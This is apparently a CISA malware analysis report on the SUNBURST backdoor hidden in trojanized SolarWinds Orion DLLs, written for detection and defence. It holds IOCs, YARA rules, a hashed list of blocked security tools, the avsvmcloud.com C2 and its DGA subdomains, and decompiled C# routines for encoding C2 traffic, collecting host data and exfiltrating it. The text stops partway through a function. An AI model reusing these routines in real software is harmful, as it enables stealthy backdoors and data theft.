This article is contributed. See the original author and article here.
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This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.
Description
This report provides detailed analysis of several malicious artifacts associated with a sophisticated supply chain compromise of SolarWinds Orion network management software, identified by the security company FireEye as SUNBURST.
After being delivered as part of certain SolarWinds updates, a trojanized version of the “solarwinds.orion.core.businesslayer.dll” containing SUNBURST malware is installed by a legitimate SolarWinds installer application. The modified dynamic-link library (DLL) contains an obfuscated backdoor that allows a remote operator to execute various functions on the compromised system, as well as deploy additional payloads and exfiltrate data. The embedded SUNBURST code encrypts its outbound communications to the remote operator using XOR encryption and modified Base64 encoding. To maintain a low profile, the SUNBURST code will not run if it detects certain security software running on the target system.
For a downloadable copy of IOCs, see: MAR-10318845-1.v1.stix.
Submitted Files (4)
019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134 (SolarWinds.Orion.Core.Business…)
32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77 (SolarWinds.Orion.Core.Business…)
ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6 (SolarWinds.Orion.Core.Business…)
d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600 (SolarWinds-Core-v2019.4.5220-H…)
Domains (1)
avsvmcloud.com
32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77
Tags
backdoorremote-access-trojantrojan
Details
| Name | SolarWinds.Orion.Core.BusinessLayer.dll |
|---|---|
| Size | 1011032 bytes |
| Type | PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows |
| MD5 | b91ce2fa41029f6955bff20079468448 |
| SHA1 | 76640508b1e7759e548771a5359eaed353bf1eec |
| SHA256 | 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77 |
| SHA512 | 6a81f082f36ccbda48070772c5a97e1d7de61ad77465e7befe8cbd97df40dcc5da09c461311708e3d57527e323484b05cfd3e72a3c70e106e47f44cc77584bd7 |
| ssdeep | 12288:Zx7m/z9aEBzvnvLtYAi6uLlYQ69BBpIvF1tjpH7BKi+0A8vca9owQ:6aEBTvRBi6uL6dIvDtjpH9+0A8vca9oD |
| Entropy | 5.582827 |
Antivirus
| Ahnlab | Backdoor/Win32.SunBurst |
|---|---|
| Antiy | Trojan[Backdoor]/MSIL.Agent |
| Avira | TR/Sunburst.AO |
| BitDefender | Trojan.Sunburst.A |
| Clamav | Win.Countermeasure.Sunburst-9809152-0 |
| Comodo | Backdoor |
| Cyren | W32/Trojan.BCCG-2955 |
| ESET | a variant of MSIL/SunBurst.A trojan |
| Emsisoft | Trojan.Win32.Sunburst (A) |
| Ikarus | Backdoor.Sunburst |
| K7 | Trojan ( 00574a531 ) |
| Lavasoft | Trojan.Sunburst.A |
| McAfee | Trojan-sunburst |
| Microsoft Security Essentials | Trojan:MSIL/Solorigate.BR!dha |
| NANOAV | Trojan.Win32.SunBurst.iduxjk |
| Sophos | Mal/Sunburst-A |
| Symantec | Backdoor.Sunburst!gen1 |
| Systweak | trojan-backdoor.sunburst-r |
| TrendMicro | Backdoo.6F8C6A1E |
| TrendMicro House Call | Backdoo.6F8C6A1E |
| Vir.IT eXplorer | Trojan.Win32.SunBurst.A |
| VirusBlokAda | TScope.Trojan.MSIL |
| Zillya! | Backdoor.Sunburst.Win32.2 |
YARA Rules
- rule CISA_10318927_01 : trojan rat SOLAR_FIRE
{
meta:
Author = “CISA Code & Media Analysis”
Incident = “10318927”
Date = “2020-12-13”
Last_Modified = “20201213_2145”
Actor = “n/a”
Category = “TROJAN RAT”
Family = “SOLAR_FIRE”
Description = “This signature is based off of unique strings embedded within the modified Solar Winds app”
MD5_1 = “b91ce2fa41029f6955bff20079468448”
SHA256_1 = “32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77”
MD5_2 = “846e27a652a5e1bfbd0ddd38a16dc865”
SHA256_2 = “ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6”
strings:
$s0 = { 63 00 30 00 6B 00 74 00 54 00 69 00 37 00 4B 00 4C 00 43 00 6A 00 4A 00 7A 00 4D 00 38 00 44 }
$s1 = { 41 00 41 00 3D 00 3D 00 00 21 38 00 33 00 56 00 30 00 64 00 6B 00 78 00 4A 00 4B 00 55 }
$s2 = { 63 00 2F 00 46 00 77 00 44 00 6E 00 44 00 4E 00 53 00 30 00 7A 00 4B 00 53 00 55 00 30 00 42 00 41 00 41 00 3D 00 3D }
$s3 = { 53 00 69 00 30 00 75 00 42 00 67 00 41 00 3D 00 00 21 38 00 77 00 77 00 49 00 4C 00 6B 00 33 00 4B 00 53 00 79 00 30 00 42 }
condition:
all of them
} - rule FireEye_20_00025668_01 : SUNBURST APT backdoor
{
meta:
Author = “FireEye”
Date = “2020-12-13”
Last_Modified = “20201213_1917”
Actor = “n/a”
Category = “Backdoor”
Family = “SUNBURST”
Description = “This rule is looking for portions of the SUNBURST backdoor that are vital to how it functions. The first signature fnv_xor matches a magic byte xor that the sample performs on process, service, and driver names/paths. SUNBURST is a backdoor that has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services.”
MD5_1 = “”
SHA256_1 = “”
strings:
$cmd_regex_encoded = “U4qpjjbQtUzUTdONrTY2q42pVapRgooABYxQuIZmtUoA” wide
$cmd_regex_plain = { 5C 7B 5B 30 2D 39 61 2D 66 2D 5D 7B 33 36 7D 5C 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 33 32 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 31 36 7D }
$fake_orion_event_encoded = “U3ItS80rCaksSFWyUvIvyszPU9IBAA==” wide
$fake_orion_event_plain = { 22 45 76 65 6E 74 54 79 70 65 22 3A 22 4F 72 69 6F 6E 22 2C }
$fake_orion_eventmanager_encoded = “U3ItS80r8UvMTVWyUgKzfRPzEtNTi5R0AA==” wide
$fake_orion_eventmanager_plain = { 22 45 76 65 6E 74 4E 61 6D 65 22 3A 22 45 76 65 6E 74 4D 61 6E 61 67 65 72 22 2C }
$fake_orion_message_encoded = “U/JNLS5OTE9VslKqNqhVAgA=” wide
$fake_orion_message_plain = { 22 4D 65 73 73 61 67 65 22 3A 22 7B 30 7D 22 }
$fnv_xor = { 67 19 D8 A7 3B 90 AC 5B }
condition:
$fnv_xor and ($cmd_regex_encoded or $cmd_regex_plain) or ( ($fake_orion_event_encoded or $fake_orion_event_plain) and ($fake_orion_eventmanager_encoded or $fake_orion_eventmanager_plain) and ($fake_orion_message_encoded and $fake_orion_message_plain) )
} - rule FireEye_20_00025668_02 : SUNBURST APT backdoor
{
meta:
Author = “FireEye”
Date = “2020-12-13”
Last_Modified = “20201213_1917”
Actor = “n/a”
Category = “Backdoor”
Family = “SUNBURST”
Description = “The SUNBURST backdoor uses a domain generation algorithm (DGA) as part of C2 communications. This rule is looking for each branch of the code that checks for which HTTP method is being used. This is in one large conjunction, and all branches are then tied together via disjunction. The grouping is intentionally designed so that if any part of the DGA is re-used in another sample, this signature should match that re-used portion. SUNBURST is a backdoor that has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services.”
MD5_1 = “”
SHA256_1 = “”
strings:
$a = “0y3Kzy8BAA==” wide
$aa = “S8vPKynWL89PS9OvNqjVrTYEYqNa3fLUpDSgTLVxrR5IzggA” wide
$ab = “S8vPKynWL89PS9OvNqjVrTYEYqPaauNaPZCYEQA=” wide
$ac = “C88sSs1JLS4GAA==” wide
$ad = “C/UEAA==” wide
$ae = “C89MSU8tKQYA” wide
$af = “8wvwBQA=” wide
$ag = “cyzIz8nJBwA=” wide
$ah = “c87JL03xzc/LLMkvysxLBwA=” wide
$ai = “88tPSS0GAA==” wide
$aj = “C8vPKc1NLQYA” wide
$ak = “88wrSS1KS0xOLQYA” wide
$al = “c87PLcjPS80rKQYA” wide
$am = “Ky7PLNAvLUjRBwA=” wide
$an = “06vIzQEA” wide
$b = “0y3NyyxLLSpOzIlPTgQA” wide
$c = “001OBAA=” wide
$d = “0y0oysxNLKqMT04EAA==” wide
$e = “0y3JzE0tLknMLQAA” wide
$f = “003PyU9KzAEA” wide
$h = “0y1OTS4tSk1OBAA=” wide
$i = “K8jO1E8uytGvNqitNqytNqrVA/IA” wide
$j = “c8rPSQEA” wide
$k = “c8rPSfEsSczJTAYA” wide
$l = “c60oKUp0ys9JAQA=” wide
$m = “c60oKUp0ys9J8SxJzMlMBgA=” wide
$n = “8yxJzMlMBgA=” wide
$o = “88lMzygBAA==” wide
$p = “88lMzyjxLEnMyUwGAA==” wide
$q = “C0pNL81JLAIA” wide
$r = “C07NzXTKz0kBAA==” wide
$s = “C07NzXTKz0nxLEnMyUwGAA==” wide
$t = “yy9IzStOzCsGAA==” wide
$u = “y8svyQcA” wide
$v = “SytKTU3LzysBAA==” wide
$w = “C84vLUpOdc5PSQ0oygcA” wide
$x = “C84vLUpODU4tykwLKMoHAA==” wide
$y = “C84vLUpO9UjMC07MKwYA” wide
$z = “C84vLUpO9UjMC04tykwDAA==” wide
condition:
($a and $b and $c and $d and $e and $f and $h and $i) or ($j and $k and $l and $m and $n and $o and $p and $q and $r and $s and ($aa or $ab)) or ($t and $u and $v and $w and $x and $y and $z and ($aa or $ab)) or ($ac and $ad and $ae and $af and $ag and $ah and ($am or $an)) or ($ai and $aj and $ak and $al and ($am or $an))
}
ssdeep Matches
No matches found.
PE Metadata
| Compile Date | 2020-03-24 04:52:34-04:00 |
|---|---|
| Import Hash | dae02f32a21e03ce65412f6e56942daa |
| Company Name | SolarWinds Worldwide, LLC. |
| File Description | SolarWinds.Orion.Core.BusinessLayer |
| Internal Name | SolarWinds.Orion.Core.BusinessLayer.dll |
| Legal Copyright | Copyright © 1999-2020 SolarWinds Worldwide, LLC. All Rights Reserved. |
| Original Filename | SolarWinds.Orion.Core.BusinessLayer.dll |
| Product Name | SolarWinds.Orion.Core.BusinessLayer |
| Product Version | 2019.4.5200.9083 |
PE Sections
| MD5 | Name | Raw Size | Entropy |
|---|---|---|---|
| 9f1dcf8b4df81fdd1e33e8157fb58d9f | header | 512 | 2.890704 |
| ac9dc455a67c7f2c9f10725d66c115d1 | .text | 1001472 | 5.569219 |
| 69a064c0b6001299af109ed0d06f6c6f | .rsrc | 1536 | 3.015713 |
| 275a7e1f11b8e5fefa163e47c22129b4 | .reloc | 512 | 0.101910 |
Relationships
| 32519b85c0… | Connected_To | avsvmcloud.com |
| 32519b85c0… | Contained_Within | d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600 |
Description
This file is a 32-bit .NET DLL named “SolarWinds.Orion.Core.BusinessLayer.dll.” It is a modified SolarWinds-signed plugin component of the Orion software framework that has been patched with the SUNBURST backdoor. This malicious file was signed with a digital certificate issued by Symantec to SolarWinds. The digital certificate should be considered compromised.
–Begin Digital Certificate Information–
Signer: CN=”Solarwinds Worldwide, LLC”, O=”Solarwinds Worldwide, LLC”, L=Austin, S=Texas, C=US
Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=SymantecCorporation, C=US
SN: 0FE973752022A606ADF2A36E345DC0ED
Not Before: 1/20/2020 7:00:00 PM
Not After: 1/20/2023 6:59:59 PM
Thumbprint: 47D92D49E6F7F296260DA1AF355F941EB25360C4
Status: Valid
StatusMsg: Signature verified.
–End Digital Certificate Information–
SUNBURST provides the following capabilities on a compromised system, which are discussed in further detail below.
– Sets a 12 to 14 day delayed execution time
– Stealth
– Command and Control (C2) communication
– Collect system information
– Upload system information from the victim system
– Run specified tasks
– Terminate processes
– Download, read, write, move, delete, and execute files
– Compute file hashes
– Reboot the system
– Adjust process privileges
**DELAYED EXECUTION**
SUNBURST is executed by a legitimate SolarWinds software application designed to load and run SolarWinds plugins. Once installed, it compares its last write time to a randomly generated value between 288 and 336 hours (12 – 14 days) after the file was written. The malware will sleep until this calculated time frame has passed, after which, the malware will begin C2 sessions to retrieve and execute commands or “Jobs” on behalf of the adversary.
**STEALTH**
SUNBURST uses obfuscated blocklists consisting of hashed process and service names to identify analysis tools and antivirus software components running as processes, services, and drivers. It utilizes a modified version of the FNV-1a hash algorithm to determine if specific processes are running on the target system. It will enumerate and hash the process names of all running processes and compare the generated hashes to a hard-coded blocklist. If no block-listed processes are found, it will attempt to resolve the domain “api.solarwinds.com” to test for network connectivity. If a block-listed process is found, it does not proceed with its C2 session. This evasion technique is used to keep it from being detected. The hard coded hashed process names are stored in an unsigned LONG list named “assemblyTimeStamps.” See “**BLOCK LIST CHECKING FUNCTIONS**” below in this report for details.
–Begin hard-coded list of block-listed processes and names–
1475579823244607677 100-continue
2734787258623754862 accept
1368907909245890092 afwserv
16858955978146406642 apac.lab
2597124982561782591 apimonitor-x64
2600364143812063535 apimonitor-x86
6195833633417633900 aswengsrv
2934149816356927366 aswidsagent
13029357933491444455 aswidsagenta
15194901817027173566 atrsdfw.sys
4821863173800309721 autopsy
13464308873961738403 autopsy64
3320026265773918739 autoruns
12969190449276002545 autoruns64
10657751674541025650 autorunsc
12094027092655598256 autorunsc64
2760663353550280147 avastavwrapper
8146185202538899243 avastsvc
11818825521849580123 avastui
11109294216876344399 avgadminclientservice
2797129108883749491 avgidsagent
3660705254426876796 avgsvc
3890794756780010537 avgsvca
3890769468012566366 avgsvcx
12709986806548166638 avgui
14095938998438966337 avgwdsvcx
13611051401579634621 avp
18147627057830191163 avpui
16423314183614230717 bccavsvc
11913842725949116895 binaryninja
5449730069165757263 blacklight
12679195163651834776 brcow_x_x_x_x.sys
1614465773938842903 brfilter.sys
11385275378891906608 carbonblack
13693525876560827283 carbonblackk
17204844226884380288 cavp
5984963105389676759 cb
17849680105131524334 cbcomms
18246404330670877335 cbstream
292198192373389586 cff explorer
14226582801651130532 close
11266044540366291518 connection
6116246686670134098 content-type
10734127004244879770 cork.lab
18159703063075866524 crexecprev.sys
11771945869106552231 csagent
9234894663364701749 csdevicecontrol
9061219083560670602 csfalconcontainer
8698326794961817906 csfalconservice
12790084614253405985 cutter
16570804352575357627 cve.sys
17097380490166623672 cybkerneltracker.sys
16066522799090129502 date
5219431737322569038 de4dot
15535773470978271326 debugview
11073283311104541690 dev.local
3626142665768487764 dgdmk.sys
7810436520414958497 diskmon
4030236413975199654 dmz.local
13316211011159594063 dnsd
13825071784440082496 dnspy
14480775929210717493 dotpeek32
14482658293117931546 dotpeek64
8473756179280619170 dumpcap
15587050164583443069 eamonm
12718416789200275332 eaw.sys
9559632696372799208 eelam
607197993339007484 egui
14513577387099045298 eguiproxy
4931721628717906635 ehdrv
14079676299181301772 ekbdflt
3200333496547938354 ekrn
2589926981877829912 ekrnepfw
8727477769544302060 emea.sales
17939405613729073960 epfw
17997967489723066537 epfwwfp
3778500091710709090 evidence center
8799118153397725683 exeinfope
8873858923435176895 expect
13783346438774742614 f-secure filter
16112751343173365533 f-secure gatekeeper
17624147599670377042 f-secure gatekeeper handler starter
3425260965299690882 f-secure hips
16066651430762394116 f-secure network request broker
2380224015317016190 f-secure recognizer
13655261125244647696 f-secure webui daemon
12027963942392743532 fakedns
576626207276463000 fakenet
9384605490088500348 fe_avk
15092207615430402812 feelam
6274014997237900919 fekern
3320767229281015341 fewscservice
7412338704062093516 ffdec
682250828679635420 fiddler
13014156621614176974 fileinsight
18150909006539876521 floss
5587557070429522647 fnrb32
12445177985737237804 fsaua
12445232961318634374 fsaus
17017923349298346219 fsav32
9333057603143916814 fsbts
541172992193764396 fsdevcon
10393903804869831898 fsdfw
3413052607651207697 fses
3407972863931386250 fsfw
10545868833523019926 fsgk32
521157249538507889 fsgk32st
3421213182954201407 fsma
15039834196857999838 fsma32
3421197789791424393 fsms
3413886037471417852 fsni
17978774977754553159 fsorsp
14243671177281069512 fsorspclient
14055243717250701608 fssm32
7315838824213522000 fsvista
14971809093655817917 fswebuid
10336842116636872171 gdb
6943102301517884811 groundling32.sys
13544031715334011032 groundling64.sys
397780960855462669 hexisfsmonitor.sys
13260224381505715848 hiew32
12785322942775634499 hiew32demo
17956969551821596225 hollows_hunter
14256853800858727521 idaq
8709004393777297355 idaq64
8129411991672431889 idr
15514036435533858158 if-modified-since
15997665423159927228 ildasm
10829648878147112121 ilspy
9149947745824492274 jd-gui
13852439084267373191 keep-alive
17633734304611248415 ksde
13581776705111912829 ksdeui
4578480846255629462 lab.brno
8381292265993977266 lab.local
3796405623695665524 lab.na
5942282052525294911 lab.rio
17984632978012874803 libwamf.sys
3656637464651387014 lordpe
2717025511528702475 lragentmf.sys
10501212300031893463 microsoft.tri.sensor
155978580751494388 microsoft.tri.sensor.updater
5183687599225757871 msmpeng
10063651499895178962 mssense
3575761800716667678 officemalscanner
4501656691368064027 ollydbg
7701683279824397773 pci.local
10296494671777307979 pdfstreamdumper
14630721578341374856 pe-bear
6461429591783621719 pe-sieve32
6508141243778577344 pe-sieve64
4088976323439621041 pebrowse64
9531326785919727076 peid
10235971842993272939 pestudio
2478231962306073784 peview
9903758755917170407 pexplorer
14710585101020280896 ppee
2810460305047003196 procdump
13611814135072561278 procdump64
2032008861530788751 processhacker
6491986958834001955 procexp
27407921587843457 procexp64
2128122064571842954 procmon
10484659978517092504 prodiscoverbasic
2532538262737333146 psanhost
835151375515278827 psepfilter.sys
6088115528707848728 psuamain
4454255944391929578 psuaservice
8478833628889826985 py2exedecompiler
10463926208560207521 r2agent
7080175711202577138 rabin2
8697424601205169055 radare2
16130138450758310172 ramcapture
7775177810774851294 ramcapture64
700598796416086955 redcloak
9007106680104765185 referer
506634811745884560 reflector
18294908219222222902 regmon
3588624367609827560 resourcehacker
9555688264681862794 retdec-ar-extractor
5415426428750045503 retdec-bin2llvmir
3642525650883269872 retdec-bin2pat
13135068273077306806 retdec-config
3769837838875367802 retdec-fileinfo
191060519014405309 retdec-getsig
1682585410644922036 retdec-idr2pat
7878537243757499832 retdec-llvmir2hll
13799353263187722717 retdec-macho-extractor
1367627386496056834 retdec-pat2yara
12574535824074203265 retdec-stacofin
16990567851129491937 retdec-unpacker
8994091295115840290 retdec-yarac
13876356431472225791 rundotnetdll
18392881921099771407 rvsavd.sys
5132256620104998637 saas.swi
11801746708619571308 safe-agent.sys
14968320160131875803 sbiesvc
14868920869169964081 scdbg
106672141413120087 scylla_x64
79089792725215063 scylla_x86
16335643316870329598 sense
12343334044036541897 sentinelmonitor.sys
5614586596107908838 shellcode_launcher
17291806236368054941 solarwinds.businesslayerhost
3869935012404164040 solarwindsdiagnostics
15267980678929160412 swdev.dmz
1109067043404435916 swdev.local
14111374107076822891 sysmon
3538022140597504361 sysmon64
7175363135479931834 tanium
3178468437029279937 taniumclient
13599785766252827703 taniumdetectengine
6180361713414290679 taniumendpointindex
8612208440357175863 taniumtracecli
8408095252303317471 taniumtracewebsocketclient64
7982848972385914508 task explorer
8760312338504300643 task explorer-64
17351543633914244545 tcpdump
7516148236133302073 tcpvcon
15114163911481793350 tcpview
7574774749059321801 user-agent
15457732070353984570 vboxservice
16292685861617888592 win32_remote
10374841591685794123 win64_remotex64
3045986759481489935 windbg
917638920165491138 windefend
17109238199226571972 windump
5945487981219695001 winhex
6827032273910657891 winhex64
8052533790968282297 winobj
17574002783607647274 wireshark
3341747963119755850 x32dbg
14193859431895170587 x64dbg
15695338751700748390 xagt
640589622539783622 xagtnotif
17683972236092287897 xwforensics
17439059603042731363 xwforensics64
–End hard-coded list of block-listed processes and names–
**COMMAND AND CONTROL**
During runtime, SUNBURST hashes its own parent process name, and compares it to the value 17291806236368054941. If it does not match, the malicious class “OrionImprovementBusinessLayer” will stop executing and the DLL will continue normal activity.
When communicating with its C2, SUNBURST utilizes the Orion Improvement Program (OIP) protocol to disguise network activity as normal SolarWinds Orion traffic. The connection with the C2 server will contain a randomly generated “customer ID” that allows the adversary to track different compromised systems.
To establish C2, it will construct and resolve the subdomains of “avsvmcloud.com” using a domain generation algorithm (DGA). The following format is used to generate the domain name:
–Begin format of the domain name–
.appsync-api.eu-west-1.avsvmcloud.com
.appsync-api.us-west-2.avsvmcloud.com
.appsync-api.us-east-1.avsvmcloud.com
.appsync-api.us-east-2.avsvmcloud.com
–End format of the domain name–
It will attempt to make a Canonical Name (CNAME) query according to different third-level domain names in combination with the DGA to verify the C2 server is accessible before executing its command control session.
–Begin domain names combined with DGA–
6a57jk2ba1d9keg15cbg.appsync-api.eu-west-1.avsvmcloud.com
7sbvaemscs0mc925tb99.appsync-api.us-west-2.avsvmcloud.com
gq1h856599gqh538acqn.appsync-api.us-west-2.avsvmcloud.com
ihvpgv9psvq02ffo77et.appsync-api.us-east-2.avsvmcloud.com
k5kcubuassl3alrf7gm3.appsync-api.eu-west-1.avsvmcloud.com
mhdosoksaccf9sni9icp.appsync-api.eu-west-1.avsvmcloud.com
–End domain names plus DGA–
Outbound communications are encrypted using an embedded class named “CryptoHelper.” The class contains two functions named “CreateSecureString” and “Base64Encode.” The function “CreateSecureString” creates a random byte and then utilizes this random byte to encode the string provided. The randomly generated byte, used as the XOR key, will be stored at offset 0x00 of the encoded string — allowing the adversary to decrypt the traffic received from this implant. The function “CreateSecureString” takes two arguments, a byte array which will be the data targeted for encryption and a bool variable. If this variable is set to “true” the function will “OR” the generated “XOR” key byte with the value 128 before using it to XOR encode the provided data. It then calls the Base64Encode function to further obfuscate the communication.
–Begin CreateSecureString Function–
private static string CreateSecureString(byte[] data, bool flag)
{
byte[] bytes = new byte[data.Length + 1];
bytes[0] = (byte)new Random().Next(1, (int)sbyte.MaxValue);
if (flag)
bytes[0] |= (byte)128;
for (int index = 1; index < bytes.Length; ++index)
bytes[index] = (byte)((uint)data[index – 1] ^ (uint)bytes[0]);
return Base64Encode(bytes, true);
}
–End CreateSecureString Function–
The Base64Encode function is a modified version of the Base64 algorithm that uses the custom alphabet, “ph2eifo3n5utg1j8d94qrvbmk0sal76c.” This custom Base64 encoding makes it harder to interpret network traffic sent between this malicious implant and the remote C2 server. The custom Base64 alphabet and algorithm utilized would be required to decode the network traffic.
–Begin Base64Encode Function–
private static string Base64Encode(byte[] bytes, bool rt)
{
string str1 = OrionImprovementBusinessLayer.ZipHelper.Unzip(“K8gwSs1MyzfOMy0tSTfMskixNCksKkvKzTYoTswxN0sGAA==”);
string str2 = “”;
uint num1 = 0;
int num2 = 0;
foreach (byte num3 in bytes)
{
num1 |= (uint) num3 << num2;
for (num2 += 8; num2 >= 5; num2 -= 5)
{
str2 += str1[(int) num1 & 31].ToString();
num1 >>= 5;
}
}
if (num2 > 0)
{
if (rt)
num1 |= (uint) (new Random().Next() << num2);
str2 += str1[(int) num1 & 31].ToString();
}
return str2;
}
–End Base64Encode Function–
**COLLECT SYSTEM INFORMATION**
The collection of system description info is carried out by the CollectSystemDescription function.
It will collect the following information:
Victim domain SID
Domain name
Hostname
Username
Operating System (OS) version
System directory
Environment tick count – the time since the system was last rebooted.
public static void CollectSystemDescription(string info, out string result)
{
result = (string) null;
int i = 0;
string domainName = IPGlobalProperties.GetIPGlobalProperties().DomainName;
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
domainName;
try
{
string str = ((SecurityIdentifier) new NTAccount(domainName,
OrionImprovementBusinessLayer.ZipHelper.Unzip(Administrator)).Translate(typeof
(SecurityIdentifier))).AccountDomainSid.ToString();
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
str;
}
catch
{
result += OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i);
}
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
IPGlobalProperties.GetIPGlobalProperties().HostName;
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
Environment.UserName;
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
OrionImprovementBusinessLayer.GetOSVersion(true);
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
Environment.SystemDirectory;
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
(object) (int) TimeSpan.FromMilliseconds((double) (uint)
Environment.TickCount).TotalDays;
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) + info
+ “n”;
result += OrionImprovementBusinessLayer.GetNetworkAdapterConfiguration();
}
The GetNetworkAdapterConfiguration function will gather information on any attached network adapters and their configuration information.
private static string GetNetworkAdapterConfiguration()
{
string str = “”;
try
{
using (ManagementObjectSearcher managementObjectSearcher = new
ManagementObjectSearcher(OrionImprovementBusinessLayer.ZipHelper.Unzip(Select *
From Win32_NetworkAdapterConfiguration where IPEnabled=true)))
{
foreach (ManagementObject managementObject in
managementObjectSearcher.Get().Cast<ManagementObject>())
{
str += “n”;
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(Description));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(MACAddress));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DHCPEnabled));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DHCPServer));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DNSHostName));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DNSDomainSuffixSearchOrder));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DNSServerSearchOrder));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(IPAddress));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(IPSubnet));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DefaultIPGateway));
}
return str;
}
}
catch (Exception ex)
{
return str + ex.Message;
}
**UPLOAD SYSTEM INFORMATION**
The “UploadSystemDescription” function is used to exfiltrate gathered system information. It parses through HTTP session information to form a full HTTP request that is sent to the remote C2 server. The modified version of the FNV-1a hash algorithm is utilized to hash certain words associated with outbound HTTP requests, such as “accept” (Hash: 2734787258623754862) and “content-type” (Hash: 6116246686670134098). It then parses through the provided HTTP session data using these hash values, rather than HTTP strings, to obfuscate the functionality of this code. This obfuscation makes it more difficult to manually or heuristically identify the functions intent to generate an outbound HTTP session.
–Begin UploadSystemDescription Function–
public static void UploadSystemDescription(string[] args, out string result, IWebProxy proxy)
{
result = (string) null;
string requestUriString = args[0];
string s1 = args[1];
string s2 = args.Length >= 3 ? args[2] : (string) null;
string[] strArray = Encoding.UTF8.GetString(Convert.FromBase64String(s1)).Split(new string[3]
{
“rn”,
“r”,
“n”
}, StringSplitOptions.None);
HttpWebRequest httpWebRequest1 = (HttpWebRequest) WebRequest.Create(requestUriString);
HttpWebRequest httpWebRequest2 = httpWebRequest1;
httpWebRequest2.set_ServerCertificateValidationCallback(httpWebRequest2.get_ServerCertificateValidationCallback() + (RemoteCertificateValidationCallback) ((sender, cert, chain, sslPolicyErrors) => true));
httpWebRequest1.Proxy = proxy;
httpWebRequest1.Timeout = 120000;
httpWebRequest1.Method = strArray[0].Split(‘ ‘)[0];
foreach (string header in strArray)
{
int length = header.IndexOf(‘:’);
if (length > 0)
{
string headerName = header.Substring(0, length);
string s3 = header.Substring(length + 1).TrimStart((char[]) Array.Empty<char>());
if (!WebHeaderCollection.IsRestricted(headerName))
{
httpWebRequest1.Headers.Add(header);
}
else
{
switch (OrionImprovementBusinessLayer.GetHash(headerName.ToLower()))
{
case 2734787258623754862:
httpWebRequest1.Accept = s3;
continue;
case 6116246686670134098:
httpWebRequest1.ContentType = s3;
continue;
case 7574774749059321801:
httpWebRequest1.UserAgent = s3;
continue;
case 8873858923435176895:
if (OrionImprovementBusinessLayer.GetHash(s3.ToLower()) == 1475579823244607677UL)
{
httpWebRequest1.ServicePoint.Expect100Continue = true;
continue;
}
httpWebRequest1.Expect = s3;
continue;
case 9007106680104765185:
httpWebRequest1.Referer = s3;
continue;
case 11266044540366291518:
ulong hash = OrionImprovementBusinessLayer.GetHash(s3.ToLower());
httpWebRequest1.KeepAlive = hash == 13852439084267373191UL || httpWebRequest1.KeepAlive;
httpWebRequest1.KeepAlive = hash != 14226582801651130532UL && httpWebRequest1.KeepAlive;
continue;
case 15514036435533858158:
httpWebRequest1.set_Date(DateTime.Parse(s3));
continue;
case 16066522799090129502:
httpWebRequest1.set_Date(DateTime.Parse(s3));
continue;
default:
continue;
}
–End UploadSystemDescription Function–
SUNBURST contains functions that give it the ability to run specified tasks, terminate processes, delete files, compute file hashes, and reboot the victim system.
**RUN SPECIFIED TASKS**
The “ExecuteEngine” is a core function that uses the “job” variable to carry out certain tasks for the adversary. This function has the ability to run tasks that could consist of command line arguments, alter the registry (to maintain persistence, etc.), collect a detailed description of the target platform, kill tasks, delete files, add files, or even execute a secondary payload:
–Begin ExecuteEngine Function–
private int ExecuteEngine(
OrionImprovementBusinessLayer.HttpHelper.JobEngine job,
string cl,
out string result)
{
result = (string) null;
int num = 0;
string[] args = OrionImprovementBusinessLayer.Job.SplitString(cl);
try
{
